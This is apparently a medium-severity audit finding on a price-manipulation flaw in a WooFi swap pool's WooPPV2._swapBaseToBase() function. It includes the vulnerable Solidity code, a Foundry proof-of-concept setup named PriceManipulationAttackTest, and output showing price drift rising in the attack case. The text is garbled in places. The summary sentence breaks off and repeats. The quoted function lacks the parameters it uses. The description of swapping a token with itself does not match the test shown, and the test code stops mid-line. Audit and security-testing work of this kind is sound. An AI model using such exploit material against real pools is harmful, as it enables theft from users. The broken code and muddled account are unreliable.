MEDIUM severity: The vulnerability arises from an incorrect logic in the `WooPPV2._swapBaseToBase()` function, which . The vulnerability arises from an incorrect logic in the `WooPPV2._swapBaseToBase()` function, which allows an attacker to manipulate the price of the base token by swapping it with itself. This is possible because the function does not check for the case where `fromToken` is equal to `toToken` and `...

Vulnerable code:
```\nFile: contracts/WooPPV2.sol\n\nfunction _swapBaseToBase(\n    ) private nonReentrant whenNotPaused returns (uint256 base2Amount) {\n    require(baseToken1!= address(0) && baseToken1!= quoteToken, "WooPPV2:!baseToken1");\n    require(baseToken2!= address(0) && baseToken2!= quoteToken, "WooPPV2:!baseToken2");\n\n    IWooracleV2.State memory state1 = IWooracleV2(wooracle).state(baseToken1);\n    IWooracleV2.State memory state2 = IWooracleV2(wooracle).state(baseToken2);\n\n    uint256 newBase1Price;\n    (quoteAmount, newBase1Price) = _calcQuoteAmountSellBase(baseToken1, base1Amount, state1);\n    IWooracleV2(wooracle).postPrice(baseToken1, uint128(newBase1Price));\n\n    uint256 newBase2Price;\n    (base2Amount, newBase2Price) = _calcBaseAmountSellQuote(baseToken2, quoteAmount, state2);\n    IWooracleV2(wooracle).postPrice(baseToken2, uint128(newBase2Price));\n}\n```\n```\npragma solidity ^0.8.0;\n\nimport {Test} from "../../lib/forge-std/src/Test.sol";\nimport {console2} from "../../lib/forge-std/src/console2.sol";\nimport {WooracleV2_2} from "../../contracts/wooracle/WooracleV2_2.sol";\nimport {WooPPV2} from "../../contracts/WooPPV2.sol";\nimport {TestERC20Token} from "../../contracts/test/TestERC20Token.sol";\nimport {TestUsdtToken} from "../../contracts/test/TestUsdtToken.sol";\nimport {TestWbctToken} from "../../contracts/test/TestWbctToken.sol";\n\ncontract TestWbctToken is TestERC20Token {\n    function decimals() public view virtual override returns (uint8) {\n        return 8;\n    }\n}\n\ncontract PriceManipulationAttackTest is Test {\n    WooracleV2_2 public oracle;\n    WooPPV2 public pool;\n    TestUsdtToken public usdt;\n    TestWbctToken public wbtc;\n    address public evil = address(0xbad);\n\n    function setUp() public {\n        usdt = new TestUsdtToken();\n        wbtc = new TestWbctToken();\n        oracle = new WooracleV2_2();\n        pool = new WooPPV2(address(usdt));\n\n        pool.setMaxGamma(address(wbtc), 0.1e18);\n        pool.setMaxNotionalSwap(address(wbtc), 5_000_000e6);\n        pool.setFeeRate(address(wbtc), 25);\n        oracle.postState({_base: address(wbtc), _price: 50_000e8, _spread: 0.001e18, _coeff: 0.000000001e18});\n        oracle.setWooPP(address(pool));\n        oracle.setAdmin(address(pool), true);\n        pool.setWooracle(address(oracle));\n\n        usdt.mint(address(this), 10_000_000e6);\n        usdt.approve(address(pool), type(uint256).max);\n        pool.depositAll(address(usdt));\n\n        wbtc.mint(address(this), 100e8);\n        wbtc.approve(address(pool), type(uint256).max);\n        pool.depositAll(address(wbtc));\n    }\n\n    function testMaxPriceDriftInNormalCase() public {\n        (uint256 initPrice, bool feasible) = oracle.price(address(wbtc));\n        assertTrue(feasible\n```\n```\n2024-03-woofi-swap\WooPoolV2> forge test --match-contract PriceManipulationAttackTest -vv\n\n[⠆] Compiling\nNo files changed, compilation skipped\n[⠰] Compiling\n\nRunning 2 tests for test/foundry/PriceManipulationAttack.t.sol:PriceManipulationAttackTest\n[PASS] testMaxPriceDriftInNormalCase() (gas: 158149)\nLogs:\n  Max price drift in normal case:  0.502%\n\n[PASS] testUnboundPriceDriftInAttackCase() (gas: 648243)\nLogs:\n  Unbound price drift in attack case:  0.499%\n  Unbound price drift in attack case:  0.998%\n  Unbound price drift in attack case:  1.496%\n  Unbound price drift in attack case:  1.994%\n  Unbound price drift in attack case:  2.491%\n  Unbound price drift in attack case:  2.988%\n  Unbound price drift in attack case:  3.483%\n  Unbound price drift in attack case:  3.978%\n  Unbound price drift in attack case:  4.473%\n  Unbound price drift in attack case:  4.967%\n\nTest result: ok. 2 passed; 0 failed; 0 skipped; finished in 6.59ms\n\nRan 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)\n```